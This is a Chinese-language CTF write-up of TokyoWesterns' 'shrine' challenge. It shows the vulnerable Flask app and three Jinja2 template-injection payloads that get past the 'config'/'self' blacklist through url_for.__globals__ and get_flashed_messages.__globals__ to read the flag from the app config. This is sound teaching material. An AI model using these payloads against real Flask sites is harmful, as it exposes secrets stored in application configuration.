【TokyoWesterns CTF】shrine
2024-09-05 23:55:07
信息:
题目来源:TokyoWesterns CTF
标签:flask
、SSTI
解题过程
构建题目环境后,访问主页可以获得程序源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
分析代码:
- 程序绑定了两个web页面;
- 访问根目录会得到程序源代码;
- shrine目录下存在渲染模板的函数,有可能是突破口;
- FLAG存在flask框架的
config
文件中; - 对于输入的部分有过滤
进行简单的测试:
但是发现代码会将(
,)
替换为空格。拼接到{% set config=None%}{% set self=None%}
后。
并将self
与config
设置为黑名单。
如果没有黑名单的时候,我们可以传入 config,或者传入{{self.__dict__}}
获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙箱逃逸的方法,来调用被禁用的函数对象。
大佬的经验如下:
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
使用前两条payload都可以得到flag。
参考
CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】
最新文章
- Ext JS - 问答
- CodeForces比赛总结表
- Linux命令之route - 显示和操作IP路由表
- linux内存分配
- ACM 喷水装置(一)
- 如何为自己的项目在pycharm中设置debug?
- [转载]python中将普通对象作为 字典类(dict) 使用
- Hbase学习记录(1)|伪分布式安装
- linq 之左连接
- 【ruby on rail 项目之 VPS下载机】
- Windows系统的安装
- Linux入门篇(三)——文件与目录
- 【repost】图解Javascript上下文与作用域
- SQL BETWEEN 操作符
- Dubbo -- 系统学习 笔记 -- 安装手册
- Linux中禁用THP(Transparent Huge Pages)
- [poj1269]Intersecting Lines
- 百度云虚拟主机BCH安装PHP框架CodeIgniter
- Unity编辑器扩展chapter1
- Visionpro学习网
热门文章
- 【Jmeter】日常骚操作最简洁上传和下载
- centos6 升级python2.6 到 python2.7
- Java 源码刨析 - String
- JVM 之 Linux定位CPU过高问题及优化
- 五个Taurus垃圾回收compactor优化方案,减少系统资源占用
- 将反向传播讲解的深入透彻的神一样的文章(numpy实现人工神经网络)
- c++ cc24a_demo //转换函数,用来做转换操作符,int()括号里面必须是空的,必须定义为const,代码示范
- c++无法解析的外部符号 ";int const bufferSize
- JavaWeb的登陆与注销功能
- 在Java虚拟机上班是一种怎样的体验?